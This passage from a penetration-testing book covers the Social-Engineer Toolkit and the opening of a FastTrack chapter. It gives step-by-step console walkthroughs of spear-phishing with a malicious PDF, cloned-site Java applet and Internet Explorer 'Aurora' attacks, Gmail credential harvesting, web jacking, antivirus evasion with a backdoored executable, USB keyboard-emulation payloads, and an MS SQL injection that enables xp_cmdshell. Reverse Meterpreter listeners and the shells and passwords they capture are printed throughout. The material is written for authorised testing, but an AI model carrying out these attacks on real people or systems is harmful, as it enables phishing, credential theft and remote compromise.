7: WOAAAA!!!!!!!!!! This is crazy...
8: BasketBall Tickets
9: Baby Pics
10: Have you seen this?
11: Termination List
12: How long has it been?
13: Dan Brown's Angels & Demons

Enter the number you want to use: 5

Enter who you want to send email to: ihazomgsecurity@secmaniac.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
Enter your GMAIL email address: fakeemailaddy@gmail.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

Next we email this attack to a single email address using the SET predefined email template Status Report . Finally, we enter the email address (ihazomgsecurity@secmaniac.com) to send the malicious file to and have SET use a Gmail account to send the message.

Finally, create a Metasploit listener for the payload to connect back to . When SET launches Metasploit, it configures all the necessary options and starts to listen on your attacking IP address on port 443 , as configured earlier.

Do you want to setup a listener yes or no: yes

resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 10.10.1.112
LHOST => 10.10.1.112
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai
ENCODING => shikata_ga_nai
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) >

We’ve just set up an attack against ihazomgsecurity@secmaniac.com, crafted an email to the recipient, and used an Adobe file format exploit. SET allowed us to create templates and have them dynamically imported when we use the tool. When the target opens the email and double-clicks the Adobe file, he’ll see something like Figure 10-1.

Figure 10-1. The target’s view of the infected PDF file

The target opens the PDF thinking it’s legitimate, and his system is instantly compromised. On the attacker’s side, you see the following:

[*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58087)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2976 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Bob\Desktop>

This example used a spear-phishing attack to target one user, but SET can also be used to attack multiple targets using the “mass email” option. You can also create customized templates that can be reused, instead of using the prebuilt templates included in SET.

Web Attack Vectors

Web attack vectors are probably one of the most advanced and exciting aspects of SET, because they are specifically crafted to be believable and enticing to the target. SET can clone websites that look identical to trusted sites, helping to ensure that the target will think he is visiting a legitimate site.

Java Applet

The Java applet attack is one of the most successful attack vectors in SET. The applet itself was created by one of the SET developers, Thomas Werth. This attack introduces a malicious Java applet that does smart browser detection (so your exploit works) and delivers a payload to a target’s machine. The Java applet attack is not considered a vulnerability by Java. When a target browses the malicious site, he is presented with a warning asking if he wants to run an untrusted Java applet. Because Java allows you to sign an applet with any name you choose, you could call the publisher Google, Microsoft, or any other string you choose. By editing the set_config file and setting WEBATTACK_EMAIL to ON, you can also incorporate mass emails with this attack.

Let’s walk through a real-world example — a penetration test performed for a Fortune 1000 company. First, a copycat domain name, similar to that of the actual company website, was registered. Next, the attacker scraped the Internet looking for @<company>.com email addresses using the harvester module within Metasploit. After extracting 200 email addresses from public websites, mass emails were sent to these addresses. The attack email claimed to be from the company’s communications department and asked the employee to look at the newly designed corporate website. Each email was personalized with the recipient’s name and claimed that the employee could click a link to see a picture of himself on the corporate home page. The email said that this new website displayed the employee’s photograph as a testimony to his hard work. Curiosity and fear were the prime motivators in getting each target to click the URL immediately.

After the target clicked the link, a Java applet notification popped up, signed by the employee’s corporation. The target clicked the run command because the notification looked legitimate; however, the command was based on the cloned site under the fake domain. Even though the employees didn’t see their pictures, they were presented with a website that looked legitimate, not realizing that their machines had been compromised: When the user clicked Run on the Java applet security prompt, a payload was executed and a shell delivered to the attacker. Once the payload was executed, the target was redirected back to the legitimate site.

SET can be used to clone a website and rewrite portions of it so that when a target visits the malicious site it looks identical to the original site. Let’s see how we could set up this attack on a fictitious site, http://www.secmaniac.com/, in SET:

root@bt:pentestexploits/set# ./set

Select from the menu:

2. Website Attack Vectors

Enter your choice: 2

1. The Java Applet Attack Method

Enter your choice (press enter for default): 1

The first method will allow SET to import a list of predefined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]

1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu

Enter number (1-4): 2

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://www.secmaniac.com

[*] Cloning the website: http://www.secmaniac.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: 0xvV3cYfbLBI3
[*] Malicious java applet website prepped for deployment

To begin this attack scenario, select Website Attack Vectors from the SET main menu. Use the Java Applet Attack Method , and then choose Site Cloner from the subsequent menu. Finally, tell SET to clone the SecManiac website .

What payload do you want to generate:

Name: Description:

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter
shell on victim and send
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.

16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden
within a legit executable.

********************************************************
Do you want to create a Linux/OSX reverse_tcp payload
in the Java Applet attack as well?
********************************************************

Enter choice yes or no: no

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...

As with other SET attack methods, attackers can use a variety of payloads. The default reverse Meterpreter payload is usually an excellent selection. For this scenario, you can simply select the defaults when prompted for the encoder to use and the port to use to reconnect.

With the configuration complete, SET launches Metasploit:

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) >

SET passes all necessary options to Metasploit, which then sets up the reverse Meterpreter listener on port 443 .

Note

You have created a web server housing a cloned instance of http://www.secmaniac.com/. If you had changed the configuration file to include WEBATTACK_EMAIL=ON, you would have been prompted to send an email using the spear-phishing attack vector (minus attachments).

Now that everything is set up, you simply need to get a target to browse to the malicious site. Upon reaching the website, the target sees a pop-up warning from the publisher, Microsoft, as shown in Figure 10-2. If the target clicks Run, and most users will, the payload will be executed, and you gain full control of the user’s system.

Note

Recall that SET’s configuration can self-sign the Java applet with whatever you want. Remember, too, that when the target clicks Run and the payload is executed and delivered, the target is redirected to the legitimate SecManiac website.

Figure 10-2. Java applet prompt

Back at our attacker machine, the Meterpreter session is successfully established, and we now have access to the target’s machine as shown here.

msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58550)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell
Process 2800 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Client-Side Web Exploits

SET can also use client-side web exploits. In this case, instead of a Java applet being presented to the target, a client-side exploit imported directly from Metasploit is used to attack the system. To use client-side exploits, you must rely on your prior reconnaissance or hope that the user is susceptible to a specific vulnerability. This method is particularly satisfying if a zero-day vulnerability is discovered: As soon as an exploit is released from Metasploit, it is typically tested and published through SET within the hour.

In this example, we will repeat the previous scenario, but we’ll use a client-side attack. Client-side attacks specifically target (mostly) browser flaws. Most exploits in SET target Internet Explorer; however, Firefox exploits are also used. In this scenario, we’ll use the Aurora attack vector that was used to compromise Google. To begin, do the following:

root@bt:pentestexploits/set# ./set

Select from the menu:

2. Website Attack Vectors
Enter your choice: 2

2. The Metasploit Browser Exploit Method

Enter your choice (press enter for default): 2

[!] Website Attack Vectors [!]

2. Site Cloner

Enter number (1-4): 2

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://www.secmaniac.com

Select Website Attack Vectors from the SET main menu, and then select The Metasploit Browser Exploit Method . Then select the Site Cloner option, and enter http://www.secmaniac.com as the website you want to use for cloning.

Once the site is cloned, we’ll set up the exploit to trigger when a target browses the site.

Enter the browser exploit you would like to use

16. Microsoft Internet Explorer "Aurora"

Enter your choice (1-23) (enter for default): 16
What payload do you want to generate:

Name: Description:

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter
shell on victim and send
back to attacker.

Enter choice (example 1-10) (Enter for default):
Enter the port to use for the reverse (enter for default):

[*] Cloning the website: http://www.secmaniac.com
[*] This could take a little bit...
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.
[*] Launching MSF Listener...
[*] This may take a few to load MSF...

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(ms10_002_aurora) >
[*] Started reverse handler on 10.10.1.112:443
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http:// 10.10.1.112:8080/
[*] Server started.

To complete the attack setup, select the client-side exploit you wish to use. Above, we choose the infamous Internet Explorer Aurora exploit and accept the default reverse Meterpreter payload by pressing enter .

When the target reaches http://www.secmaniac.com/, the site looks normal, but his system is compromised through an iframe injection. SET automatically rewrites the site to contain the iframe that houses the Metasploit client-side attack.

Back at the attacking machine, we see that the attack is successful. The Meterpreter session has established the connection from the target to the attacking machine, and we have full access to the system, as shown here.

msf exploit(handler) >
[*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58412)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell
Process 2819 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Username and Password Harvesting

In the preceding examples, the goal was to obtain access to the individual system. Relatively new within SET is the ability to clone a website and harvest visitors’ credentials when they access the site, as we’ll demonstrate using Gmail in this next example. SET can create a clone of the Gmail website and then automatically rewrite the POST parameters of that website to post to the SET web server and then redirect the user to the legitimately cloned website.

3. Credential Harvester Attack Method

Enter your choice (press enter for default): 3

[!] Website Attack Vectors [!]

2. Site Cloner

Enter number (1-4): 2

Email harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into
a report.

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://www.secmaniac.com

Press {return} to continue.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

After you select Website Attack Vectors and the Credential Harvester , choose Site Cloner . The configuration for this attack is minimal and requires only that you pass a URL (http://www.secmaniac.com) to SET that contains a login form.

The web server runs and waits for the target’s response. As mentioned previously, you could in this instance set WEBATTACK_CONFIG=ON, and SET would prompt you to attempt mass emails to coax targets into clicking the link. The target would be presented with a web page that looks identical to Gmail’s website and initial login page. When the target enters his password, the browser automatically redirects to the original Gmail website, while the following information is presented to the attacker:

10.10.1.102 - - "GET HTTP1.1" 200 -
[*] WE GOT A HIT! Printing the output:
PARAM: ltmpl=default
PARAM: ltmplcache=2
PARAM: continue=https://mail.google.com/mail/?
PARAM: service=mail
PARAM: rm=false
PARAM: dsh=-1174166214807618980
PARAM: ltmpl=default
PARAM: ltmpl=default
PARAM: scc=1
PARAM: ss=1
PARAM: GALX=S3ftXFIww0E
POSSIBLE USERNAME FIELD FOUND: Email=ihazomgsecurity2390239203
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisisacomplexp@55w0rd!!!!!
PARAM: rmShown=1
PARAM: signIn=Sign+in
PARAM: asts=
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

SET uses a built-in dictionary to mark form fields and parameters on sites that might contain sensitive information. It red-highlights potential username and password parameters to indicate that they could be sensitive parameters that are worth investigating.

Once you’ve finished harvesting all of the target’s credentials, press ctrl-C to generate a report, as shown in Figure 10-3. The report uses XML and HTML formatting.

SET’s web server is multithreaded and can handle as many requests as your server can handle. When a number of targets enter their credentials into the site, SET will automatically parse those results into a report format that separates the form fields in a readable format.

You can also export the credential harvesting results in an XML-compliant format to later import into tools or parsers that you’re already using.

Figure 10-3. Credential harvester report

Tabnabbing

In a tabnabbing scenario, a target is caught while accessing a website with multiple tabs open. When the target clicks a link, he is presented with a “Please wait while the page loads” message. When the target switches tabs, the website detects that a different tab has focus and rewrites the web page that presented the “Please wait . . . ” message with a website you specify.

Eventually, the target clicks the tabnabbed tab, and, believing he is being asked to sign in to his email program or business application, he enters his credentials into the malicious look-alike site. The credentials are harvested, and the target is redirected to the original website. You can access the tabnabbing attack vector through SET’s web attack vector interface.

Man-Left-in-the-Middle

A man-left-in-the-middle attack uses HTTP referers on an already compromised site or a cross-site scripting (XSS) vulnerability to pass the target’s credentials back to the HTTP server. If you find an XSS vulnerability and send the URL to the target, who then clicks the link, the website will operate normally, but when the target logs into the system, his credentials are passed to the attacker. The man-left-in-the-middle attack vector can be accessed through SET’s web attack vector interface.

Web Jacking

The web jacking attack method, new in SET version 0.7, allows you to create a website clone, where the target is presented with a link stating that the website has moved. When the target hovers over the link, the URL presented is the real URL, not the attacker’s URL. So, for example, if you’re cloning https://gmail.com/, the URL that would appear on the target’s machine when he hovers his mouse over the link would be https://gmail.com/. When the target clicks the link, Gmail opens but is quickly replaced with your malicious web server.

This attack uses a time-based iframe replacement. When the target hovers over the link, it points to whatever site you cloned. When the target clicks the link, the iframe replacement will initiate and replace the target’s browser with the malicious cloned site without the target’s knowledge. You can change the timing of a web jacking attack using the config/set_config flags.

To configure SET for the attack, select Web Jacking Attack Method and Site Cloner , and then add the site you want to clone, https://gmail.com , as shown below.

6. Web Jacking Attack Method

Enter your choice (press enter for default): 6

[!] Website Attack Vectors [!]

2. Site Cloner

Enter number (1-4): 2

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]

Press {return} to continue.

[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.

When the target visits the cloned site, he will see the link shown in Figure 10-4. Notice that the URL at the lower-left corner shows https://gmail.com/.

Figure 10-4. Initial page and link to the cloned page

When the target clicks the link, he is presented with the cloned web page shown in Figure 10-5, which looks exactly like the real Gmail Welcome page.

Figure 10-5. Cloned Gmail Welcome page

Notice that the URL text at the top of Figure 10-5 shows our malicious web server. As in preceding examples, you can register a similar domain name to avoid this issue. Once the target enters his username and password in the appropriate fields, you can intercept and harvest the credentials.

Putting It All Together with a Multipronged Attack

The multi-attack web vector allows you to chain multiple web attack methods together to perform a single attack. The multi-attack vector allows you to turn on and off different vectors and combine the attacks into one web page. When the user clicks the link, he will be targeted by each of the attack vectors you specify. A multipronged attack is particularly useful because, in some cases, the Java applet might fail, while a client-side Internet Explorer exploit would succeed. Or, the Java applet and the Internet Explorer exploits might fail, but the credential harvester succeeds.

In the following example, we’ll use the Java applet attack, the Metasploit client-side exploit, and the web jacking attack. When the target browses the affected site, he will be enticed to click the link and will then be bombarded with a credential harvester, Metasploit exploits, and the Java applet attack. Here we’ll select an Internet Explorer 7 exploit and browse the target’s machine using Internet Explorer 6 just to demonstrate how if one method fails, others can be used.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default): 7

[!] Website Attack Vectors [!]

2. Site Cloner

Enter number (1-4): 2

Enter the url to clone: https://gmail.com
Select which attacks you want to use:

1. The Java Applet Attack Method (OFF)
2. The Metasploit Browser Exploit Method (OFF)
3. Credential Harvester Attack Method (OFF)
4. Tabnabbing Attack Method (OFF)
5. Man Left in the Middle Attack Method (OFF)
6. Web Jacking Attack Method (OFF)
7. Use them all - A.K.A. 'Tactical Nuke'
8. I'm finished and want to proceed with the attack.
9. Return to main menu.

Enter your choice one at a time (hit 8 or enter to launch): 1

Turning the Java Applet Attack Vector to ON

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 2

Turning the Metasploit Client Side Attack Vector to ON

Option added. Press {return} to add or prepare your next attack.

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 6

Turning the Web Jacking Attack Vector to ON

Select which attacks you want to use:

. . . SNIP . . .

Enter your choice one at a time (hit 8 or enter to launch):

Begin configuring the attack by selecting Multi-Attack Web Method from the main menu, and then choose Site Cloner and enter the URL to clone, https://gmail.com . Next, SET presents a menu of different attacks. Select The Java Applet Attack Method , then The Metasploit Browser Exploit Method , and finally, select Web Jacking Attack Method . You could also select option 7, Use them all - A.K.A. 'Tactical Nuke' to enable all the attack vectors automatically.

In the preceding example, notice that the flags have changed and that the Java applet, Metasploit browser exploit, credential harvester, and web jacking attack methods have all been enabled. To proceed, press enter or choose option 8 (I'm finished...).

Enter your choice one at a time (hit 8 or enter to launch):
What payload do you want to generate:

Name: Description:

2. Windows Reverse_TCP Meterpreter Spawn
a meterpreter shell on victim and send
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.

16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now
hidden within a legit executable.

********************************************************
Do you want to create a Linux/OSX reverse_tcp payload
in the Java Applet attack as well?
********************************************************

Enter choice yes or no: no

Enter the browser exploit you would like to use

8. Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)

Enter your choice (1-12) (enter for default): 8

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: x5sKAzS
[*] Malicious java applet website prepped for deployment

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(ms09_002_memory_corruption) >
[*] Started reverse handler on 172.16.32.129:443
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://172.16.32.129:8080/
[*] Server started.

To complete the attack setup, select the default reverse Meterpreter payload along with default encoding and listening port . Choose not to configure a Linux and OS X payload , and then set the browser exploit to Internet Explorer 7 Uninitialized Memory Corruption (MS09-002) ; then SET will launch the attack.

Once everything is running, you can browse to the website and see what’s going on there. A message URL tells you that the site has been moved. Please refer to Figure 10-4 to see what the target will see on his machine.

Click the link and the Metasploit exploit begins. Here’s the handler on the backend:

[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory
Corruption to 172.16.32.131:1329...

This exploit fails, because we are using Internet Explorer 6. The target’s screen is shown in Figure 10-6.

Figure 10-6. Multi-attack security warning

We have a backup attack, however. The target clicks Run on the malicious Java applet, a Meterpreter shell begins, and the target is redirected back to the original Gmail page. The attack is successful.

Notice that when using the Java applet, we automatically migrate to a separate thread (process) that happens to be notepad.exe. Because of this, if the target closes the browser, our attack will continue because the process won’t terminate our Meterpreter shell. Also, within the configuration file you can set the “Java Repeater” option, which will continue to prompt the target with the Java applet warning even if he clicks Cancel. This makes it more likely that the target will click the Run button.

The Meterpreter shell is presented to us once a successful exploit is performed, as shown below.

[*] Sending stage (748544 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu Sep 09 12:33:20 −0400 2010
[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f'
[*] Current server process: java.exe (824)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3044
[*] New server process: notepad.exe (3044)
msf exploit(ms09_002_memory_corruption) >

Now let’s say that this attack fails, and the target clicks Cancel (without the repeater option enabled). He would then be prompted to enter his username and password into the username and password fields, allowing you to successfully harvest the credentials on the website and still have a successful attack. While you wouldn’t have a Meterpreter shell, because the target didn’t click Run, you would still be able to intercept the credentials:

[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

As you’ve seen in the preceding examples, you can see that SET offers a number of powerful web-based attack vectors in its arsenal. It can be difficult to persuade a target to think that a cloned site is legitimate. Most knowledgeable users are generally cautious about unfamiliar sites and try to avoid potential security issues as they browse the Internet. SET tries to leverage this cautiousness and, by letting you mimic a known website, fool even some of the savviest technical folks.

Infectious Media Generator

The Infectious Media Generator is a relatively simple attack vector. With this vector, SET creates a folder for you that you can either burn to a CD/DVD or store on a USB thumb drive. The autorun.inf file is used, which, once inserted into a target’s machine, will execute whatever you specify during attack creation. Currently, SET supports executables (such as Meterpreter) as well as fileformat bugs (such as Adobe exploits).

Teensy USB HID Attack Vector

The Teensy USB HID (human interface device) attack vector is a remarkable combination of customized hardware and restriction bypass via keyboard emulation. Traditionally, when you insert a CD/DVD or USB into your computer, if autorun is disabled, autorun.inf isn’t called and you can’t execute your code automatically. However, using the Teensy USB HID, you can emulate a keyboard and mouse. When you insert the device, it will be detected as a keyboard, and using the microprocessor and onboard flash memory storage, you can send a very fast set of keystrokes to the target’s machine and completely compromise it, regardless of autorun. You can order a Teensy USB HID at http://www.prjc.com/.

Let’s set up a Teensy USB HID to perform a WScript download of a Metasploit payload. In the following example, a small WScript file will be written that will download an executable and execute it. This will be our Metasploit payload, and it’s all handled through SET.

Select from the menu:

6. Teensy USB HID Attack Vector

Enter your choice: 6

Welcome to the Teensy HID Attack Vector.

Special thanks to: IronGeek and WinFang

1. Powershell HTTP GET MSF Payload
2. WSCRIPT HTTP GET MSF Payload
3. Powershell based Reverse Shell
4. Return to the main menu.

Enter your choice: 2
Do you want to create a payload and listener yes or no: yes
What payload do you want to generate:

Name: Description:

. . . SNIP . . .

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter
shell on victim and send
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.

. . . SNIP . . .

16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable

[*] PDE file created. You can get it under 'reports/teensy.pde'
[*] Be sure to select "Tools", "Board", and "Teensy 2.0 (USB/KEYBOARD)" in Arduino
Press enter to continue.

[*] Launching MSF Listener...
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...

To begin setting up this attack, choose Teensy USB HID Attack Vector from the main menu, and then choose WSCRIPT HTTP GET MSF Payload . Then tell SET to set up a payload and listener , selecting the default Meterpreter payload and encoding method .

Now that you have a .pde file, you will need to download and use the Arduino interface, which is a graphical user interface for compiling the .pde files to be uploaded to your Teensy device.

For this attack, follow the instructions at PJRC (http://www.pjrc.com/) for uploading your code to the Teensy board. It’s relatively simple. You install the Teensy loader and libraries. Then you’ll see an IDE (Integrated Drive Electronics) interface called Arduino. (Arduino/Teensy is supported on Linux, Mac OS X, and Windows operating systems.) One of the most important aspects of this is that you ensure that you set your board to a Teensy USB keyboard/mouse, as show in Figure 10-7.

Figure 10-7. Setting up the Teensy device

After you have this selected, drag your .pde file into the Arduino interface. Insert your USB device into the computer and upload your code. This will program your device with the SET-generated code. Figure 10-8 shows the code being uploaded.

After the programmed USB device is inserted into the target’s machine and the code is installed, you should see a Meterpreter shell:

[*] Sending stage (748544 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu June 09 12:52:32 −0400 2010
[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f'
[*] Current server process: java.exe (824)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3044
[*] New server process: notepad.exe (3044)

Figure 10-8. Teensy attack code upload

Additional SET Features

We won’t cover every aspect of the Social-Engineer Toolkit, but it does have some particularly notable aspects. One tool of note is the SET Interactive Shell: an interactive shell that can be selected as a payload instead of Meterpreter. Another feature is RATTE (Remote Administration Tool Tommy Edition), a full HTTP tunneling payload that was created by Thomas Werth. It relies on HTTP-based communications and piggybacks proxy settings on the target machine. RATTE is particularly useful when the target uses egress and packet inspection rules that can detect non-HTTP traffic. RATTE uses the Blowfish encryption algorithm for communications to allow full encryption over HTTP.

Two other tools include the SET Web-GUI (a full-fledged web application that automates several of the attacks discussed above) and the wireless attack vector. To run the SET Web-GUI, simply enter ./set-web from the SET home folder. The Web-GUI is written in Python and is a great way to perform attacks through a web interface. The wireless attack vector creates a rogue access point on the attacking machine. When the target connects to the access point, any website he visits is redirected to the attacker machine, which can then launch a number of SET attacks (such as harvester or the Java applet) on the target.

Looking Ahead

Like Metasploit, SET is a work in progress. The security community has embraced the capabilities and potential of SET and continues to contribute to making it better. Social-engineering attacks are on the rise, so ensuring that you can properly test these attack vectors is imperative for any comprehensive security program.

As organizations and vendors get better at securing their network perimeters with software and hardware solutions, we often forget how easy it is to call or email a user and convince him to click or download something that can be used for an attack. Social engineering in general takes skill and practice, and a good attacker knows that he needs to ensure that the attack is specially crafted to target weaknesses in his targets’ company user awareness programs or systems. A skilled attacker knows that spending a few days researching an organization, looking at Facebook or Twitter pages, and determining what may trigger someone to click hastily is just as important as the tools used behind the attack.

Tools like SET are useful to attackers, but always remember that as a penetration tester, your skill is defined by your creativity and your ability to navigate difficult situations. SET will aid you in attacking your targets, but, ultimately, if you fail, it’s probably because you weren’t creative enough.

Chapter 11. FastTrack

FastTrack is an open source Python-based tool for augmenting advanced penetration testing techniques. FastTrack uses the Metasploit Framework for payload delivery and client-side attack vectors. It complements Metasploit by adding additional features, including Microsoft SQL attacks, more exploits, and browser attack vectors. FastTrack was created by Dave Kennedy, with contributions from Andrew Weidenhamer, John Melvin, and Scott White. It is currently updated and maintained by Joey Furr (j0fer).

FastTrack’s interactive mode is the way to use it. To enter interactive mode, as shown below, use ./fasttrack.py -i (which is similar to the command used by SET). By issuing different options and sequences, you can customize your attack, targets, and more. (You can also use ./fasttrack.py -g to load the web interface.)

oot@bt4:pentestexploits/fasttrack# ./fasttrack.py -i

***********************************************
******* Performing dependency checks... *******
***********************************************

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
*** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run FastTrack!

FastTrack Main Menu:

FastTrack - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)

1. FastTrack Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. FastTrack Tutorials
9. FastTrack Changelog
10. FastTrack Credits
11. Exit

Enter the number:

You can see the general categories of attacks and features in FastTrack’s main menu above though we’ll only cover selected ones in this chapter. We’ll explore some of the most useful tricks, with an emphasis on exploiting Microsoft SQL. For example, the Autopwn Automation menu simplifies the process of Metasploit’s autopwn functionality — simply enter the IP address, and FastTrack sets up everything for you. The Exploits menu contains additional exploits not included in Metasploit.

Microsoft SQL Injection

SQL injection (SQLi) attacks piggyback SQL commands to assault web applications by exploiting insecure code. A SQL query can be inserted into the backend database via a trusted web server to execute commands on the database. FastTrack automates the process of performing advanced SQL injection attacks by focusing on query string and POST parameters within web applications. The following attack relies on the attacker knowing that SQL injection is present on the target website, and also knowing which parameter is vulnerable. This attack will work only on MS SQL–based systems.

SQL Injector — Query String Attack

Begin the setup for the attack by selecting Microsoft SQL Tools from the main menu and then MSSQL Injector , as shown below.

Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 1

The simplest form of SQL injection is within the query string, typically sent in the URL field from the browser to the server. This URL string can often contain parameters that inform a dynamic site what information is being requested. FastTrack distinguishes which field to attack by inserting an 'INJECTHERE into the vulnerable query string parameter, like this:

http://www.secmaniac.com/index.asp?id='INJECTHERE&date=2011

When FastTrack starts to exploit this vulnerability, it will look for the id string in all fields to determine which field to attack. Let’s look at this in action by selecting the first option, Query String Parameter Attack.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 1

. . . SNIP . . .

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the
injectable parameter

Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://www.secmaniac.com/index.asp?id='INJECTHERE&date=2011
Sending initial request to enable xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
